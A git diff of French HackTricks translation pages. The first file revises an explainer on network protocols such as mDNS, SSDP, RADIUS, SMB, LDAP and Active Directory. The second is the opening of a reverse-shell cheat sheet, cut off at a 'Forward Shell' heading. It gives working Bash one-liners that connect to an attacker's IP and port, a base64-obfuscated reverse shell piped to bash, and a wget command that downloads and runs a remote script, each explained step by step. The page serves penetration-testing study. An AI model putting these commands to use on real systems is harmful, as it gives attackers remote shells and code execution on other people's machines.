<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Multicast DNS \(mDNS\)
|
# Multicast DNS \(mDNS\)
|
||||||
|
|
||||||
Le protocole **multicast DNS** \(**mDNS**\) résout les noms d'hôtes en adresses IP dans de petits réseaux qui ne comprennent pas de serveur de noms local.
|
Le protocole **multicast DNS** \(**mDNS**\) résout les noms d'hôtes en adresses IP dans de petits réseaux qui n'incluent pas de serveur de noms local.
|
||||||
|
|
||||||
Lorsqu'un client mDNS a besoin de résoudre un nom d'hôte, il envoie un message de requête de multidiffusion IP demandant à l'hôte portant ce nom de s'identifier. Cette machine cible envoie ensuite en multidiffusion un message qui inclut son adresse IP. Toutes les machines de ce sous-réseau peuvent ensuite utiliser ces informations pour mettre à jour leurs caches mDNS.
|
Lorsqu'un client mDNS doit résoudre un nom d'hôte, il envoie un message de requête de multidiffusion IP demandant à l'hôte portant ce nom de s'identifier. Cette machine cible envoie ensuite un message en multidiffusion qui inclut son adresse IP. Toutes les machines de ce sous-réseau peuvent alors utiliser ces informations pour mettre à jour leurs caches mDNS.
|
||||||
|
|
||||||
N'importe quel hôte peut renoncer à son droit sur un nom de domaine en envoyant un paquet de réponse avec un Time To Live (TTL) égal à zéro.
|
N'importe quel hôte peut renoncer à son droit sur un nom de domaine en envoyant un paquet de réponse avec un délai de vie \(TTL\) égal à zéro.
|
||||||
|
|
||||||
Par défaut, mDNS résout uniquement et exclusivement les noms d'hôtes se terminant par le domaine de premier niveau \(TLD\) **.local**. Cela peut poser des problèmes si ce domaine inclut des hôtes qui n'implémentent pas mDNS mais qui peuvent être trouvés via un serveur DNS unicast conventionnel. La résolution de ces conflits nécessite des modifications de la configuration réseau.
|
Par défaut, mDNS résout uniquement et exclusivement les noms d'hôtes se terminant par le domaine de premier niveau **.local** \(TLD\). Cela peut poser des problèmes si ce domaine inclut des hôtes qui n'implémentent pas mDNS mais qui peuvent être trouvés via un serveur DNS unicast conventionnel. Résoudre de tels conflits nécessite des modifications de configuration réseau.
|
||||||
|
|
||||||
* Lors de l'utilisation de trames Ethernet, l'adresse MAC de multidiffusion standard est _01:00:5E:00:00:FB_ \(pour IPv4\) ou _33:33:00:00:00:FB_ \(pour IPv6\).
|
* Lors de l'utilisation de trames Ethernet, l'adresse MAC de multidiffusion standard est _01:00:5E:00:00:FB_ \(pour IPv4\) ou _33:33:00:00:00:FB_ \(pour IPv6\).
|
||||||
* Adresse IPv4 _224.0.0.251_ ou adresse IPv6 _ff02::fb_.
|
* Adresse IPv4 _224.0.0.251_ ou adresse IPv6 _ff02::fb_.
|
||||||
|
@ -33,36 +31,36 @@ Les requêtes mDNS ne passeront pas par les routeurs \(diffusion en Ethernet uni
|
||||||
|
|
||||||
# DNS-SD \(Service Discovery\)
|
# DNS-SD \(Service Discovery\)
|
||||||
|
|
||||||
Ce protocole peut être utilisé pour découvrir des hôtes dans le réseau. Pour ce faire, vous pouvez demander des noms de domaine spéciaux \(par exemple, _\_printers\_tcp.local_\) et tous les domaines liés à ce nom répondront \(dans ce cas, les imprimantes\). Une liste complète de ces noms spéciaux peut être trouvée [ici](http://www.dns-sd.org/ServiceTypes.html).
|
Ce protocole peut être utilisé pour découvrir des hôtes dans le réseau. Pour ce faire, vous pouvez demander des noms de domaine spéciaux \(par exemple _\_printers\_tcp.local_\) et tous les domaines liés à ce nom répondront \(dans ce cas, les imprimantes\). Une liste complète de ces noms spéciaux peut être trouvée [ici](http://www.dns-sd.org/ServiceTypes.html).
|
||||||
|
|
||||||
# SSDP
|
# SSDP
|
||||||
|
|
||||||
Le protocole de découverte de services simple est utilisé pour découvrir des services dans un réseau, principalement pour utiliser le protocole UPnP.
|
Le protocole de découverte de services simple est utilisé pour découvrir des services dans un réseau principalement pour utiliser le protocole UPnP.
|
||||||
|
|
||||||
SSDP est un protocole basé sur le texte basé sur [HTTPU](https://en.wikipedia.org/wiki/HTTPU). Il utilise UDP comme protocole de transport sous-jacent. Les services sont annoncés par le système d'hébergement avec une adresse de multidiffusion vers une adresse IP de multidiffusion spécifiquement désignée au numéro de port UDP 1900. En IPv4, l'adresse de multidiffusion est 239.255.255.250.
|
SSDP est un protocole basé sur du texte basé sur [HTTPU](https://en.wikipedia.org/wiki/HTTPU). Il utilise UDP comme protocole de transport sous-jacent. Les services sont annoncés par le système hôte avec une adresse de multidiffusion à une adresse IP de multidiffusion spécifiquement désignée au numéro de port UDP 1900. En IPv4, l'adresse de multidiffusion est 239.255.255.250
|
||||||
|
|
||||||
# WSD
|
# WSD
|
||||||
|
|
||||||
**Web Service for Devices**.
|
**Service Web pour les appareils**.
|
||||||
Ce service permet à un appareil connecté à un réseau de découvrir les services \(comme les imprimantes\) disponibles dans le réseau.
|
Ce service permet à un appareil connecté à un réseau de découvrir quels services \(comme les imprimantes\) sont disponibles dans le réseau.
|
||||||
|
|
||||||
Le client peut envoyer un paquet UDP de diffusion demandant un certain type de service ou le fournisseur de services peut envoyer un paquet de diffusion indiquant qu'il propose un service.
|
Le client peut envoyer un paquet UDP de diffusion demandant un certain type de service ou le fournisseur de service peut envoyer un paquet de diffusion indiquant qu'il offre un service.
|
||||||
|
|
||||||
# OAuth2.0
|
# OAuth2.0
|
||||||
|
|
||||||
Protocole qui vous permet de partager vos informations, par exemple, de Google avec d'autres services.
|
Protocole qui vous permet de partager vos informations, par exemple, de Google avec d'autres services.
|
||||||
|
|
||||||
Essentiellement, **vous permet de partager les informations justes** et nécessaires qui sont stockées dans un service, avec un autre. De cette façon, vous pouvez vous connecter plus rapidement et vos **données sont stockées uniquement à un seul endroit** et vous n'avez pas à mettre des noms d'utilisateur/mots de passe partout.
|
Essentiellement **vous permet de partager les informations** justes et nécessaires qui sont stockées dans un service, avec un autre. De cette façon, vous pouvez vous connecter plus rapidement et vos **données ne sont stockées qu'à un seul endroit** et vous n'avez pas à saisir des noms d'utilisateur/mots de passe partout.
|
||||||
|
|
||||||
Cela fonctionne comme ceci :
|
Cela fonctionne comme suit :
|
||||||
|
|
||||||
D'abord, vous devez déjà être connecté à Google ou une fenêtre s'ouvrira pour vous connecter. Immédiatement après, le service demandera au serveur Google un jeton pour accéder à vos informations. Google affichera un écran "_L'application XXXXX souhaite accéder à ces informations vous concernant : ..._" lorsque vous cliquez sur accepter, Google répondra à l'application avec un code que l'application utilisera pour demander un jeton avec lequel Google répondra. Une fois que l'application a un jeton, elle peut l'utiliser avec l'API Google pour obtenir les informations demandées.
|
Tout d'abord, vous devez déjà être connecté à Google ou une fenêtre s'ouvrira pour vous connecter. Immédiatement après, le service demandera au serveur Google un jeton pour accéder à vos informations. Google affichera l'une de ces fenêtres "_L'application XXXXX souhaite accéder à ces informations vous concernant : ..._" lorsque vous cliquez sur accepter, Google répondra à l'application avec un code que l'application utilisera pour demander un jeton avec lequel Google répondra. Une fois que l'application a un jeton, il peut être utilisé avec l'API Google pour obtenir les informations demandées.
|
||||||
|
|
||||||
# RADIUS
|
# RADIUS
|
||||||
|
|
||||||
Protocole d'authentification et d'autorisation pour accéder à un réseau. \(Utilise le port UDP 1813\)
|
Protocole d'authentification et d'autorisation pour accéder à un réseau. \(Utilise le port UDP 1813\)
|
||||||
|
|
||||||
Il est principalement utilisé par les fournisseurs de services Internet pour gérer l'accès au réseau de leurs clients.
|
Il est principalement utilisé par les fournisseurs de services Internet pour gérer l'accès au réseau pour leurs clients.
|
||||||
|
|
||||||
Permet l'authentification, l'autorisation et l'annotation.
|
Permet l'authentification, l'autorisation et l'annotation.
|
||||||
|
|
||||||
|
@ -70,70 +68,69 @@ Comment ça marche :
|
||||||
|
|
||||||
L'utilisateur parle d'abord au NAS \(passerelle vers le serveur\), il vérifie que le nom et le mot de passe qui lui sont envoyés sont valides en demandant au serveur RADIUS.
|
L'utilisateur parle d'abord au NAS \(passerelle vers le serveur\), il vérifie que le nom et le mot de passe qui lui sont envoyés sont valides en demandant au serveur RADIUS.
|
||||||
|
|
||||||
Facultativement, pour une plus grande sécurité, vous pouvez vérifier l'adresse réseau ou le numéro de téléphone du serveur pour voir s'il correspond.
|
Facultativement pour une plus grande sécurité, vous pouvez vérifier l'adresse réseau ou le numéro de téléphone du serveur pour voir s'il correspond.
|
||||||
|
|
||||||
|
Le serveur RADIUS et l'utilisateur qui tente de se connecter ont un "secret partagé", de cette manière le serveur RADIUS envoie un défi au NAS qui le transmet à l'utilisateur qui se connecte, celui-ci l'encrypte avec ledit secret et le renvoie au NAS et s'il correspond à l'encryption que RADIUS a faite, l'utilisateur a prouvé son identité.
|
||||||
|
|
||||||
|
Une fois l'identité prouvée, l'utilisateur RADIUS indique au NAS d'attribuer à l'utilisateur une adresse IP. De plus, lorsque cela est fait, le NAS envoie un message de démarrage à RADIUS pour qu'il enregistre. Lorsque l'utilisateur se déconnecte, le NAS envoie un message de terminaison. De cette manière, RADIUS enregistre la consommation de la session pour pouvoir facturer en conséquence \(ces données sont également utilisées à des fins statistiques\)
|
||||||
|
|
||||||
Le serveur RADIUS et l'utilisateur qui essaie de se connecter ont tous deux un "secret partagé", de cette manière le serveur RADIUS envoie un défi au NAS qui le transmet à l'utilisateur qui se connecte, cela l'encrypte avec ledit secret et le renvoie au NAS et si cela correspond au chiffrement que RADIUS a fait, l'utilisateur a prouvé son identité.
|
|
||||||
|
|
||||||
Une fois l'identité prouvée, l'utilisateur RADIUS demande au NAS d'attribuer à l'utilisateur une adresse IP. De plus, lorsque cela est fait, le NAS envoie un message de démarrage à RADIUS pour qu'il l'enregistre. Lorsque l'utilisateur se déconnecte, le NAS envoie un message de terminaison. De cette façon, RADIUS enregistre la consommation de la session pour pouvoir facturer en conséquence \ (ces données sont également utilisées à des fins statistiques \)
|
|
||||||
# SMB et NetBIOS
|
# SMB et NetBIOS
|
||||||
|
|
||||||
## **SMB**
|
## **SMB**
|
||||||
|
|
||||||
Il s'agit d'un protocole de partage de fichiers/imprimantes/ports...
|
C'est un protocole de partage de fichiers/imprimantes/ports...
|
||||||
|
|
||||||
Il peut fonctionner directement sur TCP sur le port 445 \(que vous pouvez voir appelé microsoft-ds lors d'une analyse Windows\)
|
Cela peut fonctionner directement sur TCP sur le port 445 \(qui, si vous effectuez une analyse Windows, est appelé par microsoft-ds\)
|
||||||
|
|
||||||
Ou sur UDP 137, 138 ou TCP 137, 138 qui utilise NetBIOS sur TCP \(nommé netbios-ssn\)
|
Ou sur UDP 137, 138 ou TCP 137, 138 qui utilise NetBIOS sur TCP \(nommé netbios -ssn\)
|
||||||
|
|
||||||
L'objectif de l'implémentation de SMB uniquement sur TCP ou sur NetBIOS + TCP est d'augmenter la capacité de communication avec plus d'équipements qui ne prennent en charge que l'un ou l'autre.
|
L'objectif de SMB étant implémenté uniquement sur TCP ou sur NetBIOS + TCP est d'augmenter la capacité de communication avec plus d'équipements qui ne supportent que l'un ou l'autre.
|
||||||
|
|
||||||
## **NetBIOS**
|
## **NetBIOS**
|
||||||
|
|
||||||
Sa fonction est d'établir des sessions et de maintenir des connexions afin de partager des ressources réseau, mais pour envoyer des paquets d'un site à un autre, il nécessite IPC/IPX ou NetBEUI ou TCP/IP.
|
Sa fonction est d'établir des sessions et de maintenir des connexions afin de partager des ressources réseau, mais pour envoyer des paquets d'un site à un autre, il nécessite IPC/IPX ou NetBEUI ou TCP/IP.
|
||||||
|
|
||||||
Chaque machine utilisant NetBIOS doit avoir un **nom** unique qui la distingue des autres. Ainsi, lorsqu'une nouvelle machine arrive, on vérifie d'abord que personne n'utilise le nom qu'elle demande d'utiliser. Il existe également des **noms de groupe** qui peuvent être utilisés par autant de stations que souhaité, mais il ne peut pas y avoir deux groupes avec le même nom. C'est un moyen de pouvoir envoyer des messages à plusieurs machines. Vous pouvez donc envoyer des messages à un utilisateur, à un groupe ou en diffusion.
|
Chaque machine utilisant NetBIOS doit avoir un **nom** unique qui la distingue du reste. Ainsi, lorsqu'une nouvelle machine arrive, il est d'abord vérifié que personne n'utilise le nom qu'elle demande d'utiliser. Il existe également des **noms de groupe** qui peuvent être utilisés par autant de stations qu'ils le souhaitent mais il ne peut y avoir deux groupes portant le même nom. C'est une façon d'envoyer des messages à plusieurs machines. Ainsi, vous pouvez envoyer des messages à un utilisateur, un groupe ou en diffusion.
|
||||||
|
|
||||||
La connexion peut être sans connexion ou orientée connexion :
|
La connexion peut être sans connexion ou orientée connexion :
|
||||||
|
|
||||||
**sans connexion :** Un datagramme est envoyé à la destination, mais il n'y a aucune forme de salutation ou de message reçu. La machine de destination doit être configurée pour pouvoir recevoir des datagrammes.
|
**sans connexion :** Un datagramme est envoyé à la destination mais il n'y a aucune forme de bonjour ou de message reçu. La machine de destination doit être configurée pour pouvoir recevoir des datagrammes.
|
||||||
|
|
||||||
**orientée connexion :** Une session est créée entre deux noms \(elle peut même être entre deux noms de la même machine\) si un message reçu ou d'erreur est envoyé.
|
**orientée connexion :** Une session est créée entre deux noms \(elle peut même être entre deux noms de la même machine\) si un message reçu ou d'erreur est envoyé.
|
||||||
|
|
||||||
**NetBEUI** consiste en réalité en NetBIOS sur NetBEUI, qui est un protocole réseau et de transport qui conduit à NetBIOS. Il était rapide mais très bruyant car il diffusait beaucoup. Vous pouvez également avoir SMB sur NetBEUI, mais c'est plus courant que NetBIOS fonctionne sur TCP.
|
**NetBEUI** consiste vraiment en NetBIOS sur NetBEUI qui est un protocole réseau et de transport qui mène à NetBIOS, il était rapide mais très bruyant car il diffusait beaucoup, vous pouvez également avoir SMB sur NetBEUI mais c'est plus courant que NetBIOS fonctionne sur TCP.
|
||||||
|
|
||||||
# LDAP
|
# LDAP
|
||||||
|
|
||||||
Protocole qui permet de gérer des annuaires et d'accéder à des bases d'informations utilisateur via TCP/IP.
|
Protocole qui permet de gérer des répertoires et d'accéder à des bases d'informations utilisateur via TCP/IP.
|
||||||
|
|
||||||
Il permet à la fois d'extraire des informations et de les introduire à l'aide de différentes commandes.
|
Il permet à la fois d'extraire des informations et de les introduire à travers différentes commandes.
|
||||||
|
|
||||||
Par conséquent, c'est un protocole utilisé pour accéder à différentes bases de données préparées pour parler ce protocole.
|
Par conséquent, c'est un protocole qui est utilisé pour accéder à diverses bases de données qui sont préparées pour parler ce protocole.
|
||||||
|
|
||||||
# Active Directory
|
# Active Directory
|
||||||
|
|
||||||
Il s'agit essentiellement d'une base de données d'objets contenant des informations telles que des utilisateurs, des groupes, des privilèges et des ressources, accessible depuis le réseau \(via un domaine\) afin que ces informations puissent être consultées et gérées de manière centralisée.
|
C'est essentiellement une base de données d'objets avec des informations telles que des utilisateurs, des groupes, des privilèges et des ressources qui sont accessibles depuis le réseau \(via un domaine\) afin que ces informations puissent être consultées et gérées de manière centralisée.
|
||||||
|
|
||||||
Serveur qui enregistre les objets. Ces objets sont visibles sur le réseau via un domaine. Un domaine peut avoir son propre serveur où il est implémenté, des groupes, des utilisateurs...
|
Serveur qui enregistre des objets. Ces objets sont visibles sur le réseau via un domaine. Un domaine peut avoir en son sein son serveur où il est implémenté, des groupes, des utilisateurs...
|
||||||
|
|
||||||
Vous pouvez également avoir des sous-domaines qui ont leur propre serveur associé à leurs groupes, utilisateurs...
|
Vous pouvez également avoir des sous-domaines qui ont leur propre serveur associé à leurs groupes, utilisateurs...
|
||||||
|
|
||||||
De cette manière, la gestion des utilisateurs d'un réseau est centralisée, car les utilisateurs qui peuvent se connecter peuvent être générés sur ce serveur, avec les autorisations nécessaires pour savoir s'ils peuvent accéder à certaines ressources réseau, et tout cela peut être contrôlé de manière simple.
|
De cette manière, la gestion des utilisateurs d'un réseau est centralisée, car les utilisateurs qui peuvent se connecter peuvent être générés sur ce serveur, avec les autorisations qu'ils ont pour savoir s'ils peuvent accéder à certaines ressources réseau et ainsi tout cela peut être contrôlé de manière simple.
|
||||||
|
|
||||||
De cette manière, vous pouvez consulter l'annuaire avec un nom d'utilisateur et obtenir des informations telles que l'adresse e-mail ou le numéro de téléphone. Vous pouvez également effectuer des requêtes générales telles que : où se trouvent les imprimantes ? Quels sont les noms de domaine ?
|
|
||||||
|
|
||||||
|
De cette manière, vous pouvez consulter l'annuaire avec un nom d'utilisateur et obtenir des informations telles que l'e-mail ou le numéro de téléphone. Vous pouvez également poser des questions générales telles que : où se trouvent les imprimantes ? Quels sont les noms de domaine ?
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,31 +2,31 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
**Si vous avez des questions sur l'une de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com)
|
**Si vous avez des questions sur l'un de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com)
|
||||||
|
|
||||||
## Full TTY
|
## Full TTY
|
||||||
|
|
||||||
**Une fois que vous obtenez un reverse shell**[ **lisez cette page pour obtenir un full TTY**](full-ttys.md)**.**
|
**Une fois que vous avez obtenu un shell inversé**[ **lisez cette page pour obtenir un TTY complet**](full-ttys.md)**.**
|
||||||
|
|
||||||
## Bash | sh
|
## Bash | sh
|
||||||
```bash
|
```bash
|
||||||
|
@ -41,9 +41,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
||||||
#after getting the previous shell to get the output to execute
|
#after getting the previous shell to get the output to execute
|
||||||
exec >&0
|
exec >&0
|
||||||
```
|
```
|
||||||
N'oubliez pas de vérifier avec d'autres shells : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash.
|
### Coquille sûre de symboles
|
||||||
|
|
||||||
### Symbol safe shell
|
N'oubliez pas de vérifier avec d'autres coquilles : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash.
|
||||||
```bash
|
```bash
|
||||||
#If you need a more stable connection do:
|
#If you need a more stable connection do:
|
||||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||||
|
@ -52,31 +52,31 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||||
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
||||||
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
||||||
```
|
```
|
||||||
#### Explication du shell
|
#### Explication du Shell
|
||||||
|
|
||||||
1. **`bash -i`** : Cette partie de la commande démarre un shell Bash interactif (`-i`).
|
1. **`bash -i`**: Cette partie de la commande démarre un shell Bash interactif (`-i`).
|
||||||
2. **`>&`** : Cette partie de la commande est une notation abrégée pour **rediriger à la fois la sortie standard** (`stdout`) et **l'erreur standard** (`stderr`) vers la **même destination**.
|
2. **`>&`**: Cette partie de la commande est une notation abrégée pour **rediriger à la fois la sortie standard** (`stdout`) et **l'erreur standard** (`stderr`) vers la **même destination**.
|
||||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`** : Il s'agit d'un fichier spécial qui **représente une connexion TCP à l'adresse IP et au port spécifiés**.
|
3. **`/dev/tcp/<IP-ATTAQUANT>/<PORT>`**: Il s'agit d'un fichier spécial qui **représente une connexion TCP à l'adresse IP et au port spécifiés**.
|
||||||
* En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie effectivement la sortie de la session de shell interactif à la machine de l'attaquant.
|
* En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie efficacement la sortie de la session shell interactive à la machine de l'attaquant.
|
||||||
4. **`0>&1`** : Cette partie de la commande **redirige l'entrée standard (`stdin`) vers la même destination que la sortie standard (`stdout`)**.
|
4. **`0>&1`**: Cette partie de la commande **redirige l'entrée standard (`stdin`) vers la même destination que la sortie standard (`stdout`)**.
|
||||||
|
|
||||||
### Créer dans un fichier et exécuter
|
### Créer dans un fichier et exécuter
|
||||||
```bash
|
```bash
|
||||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||||
```
|
```
|
||||||
## Forward Shell
|
## Shell Avancé
|
||||||
|
|
||||||
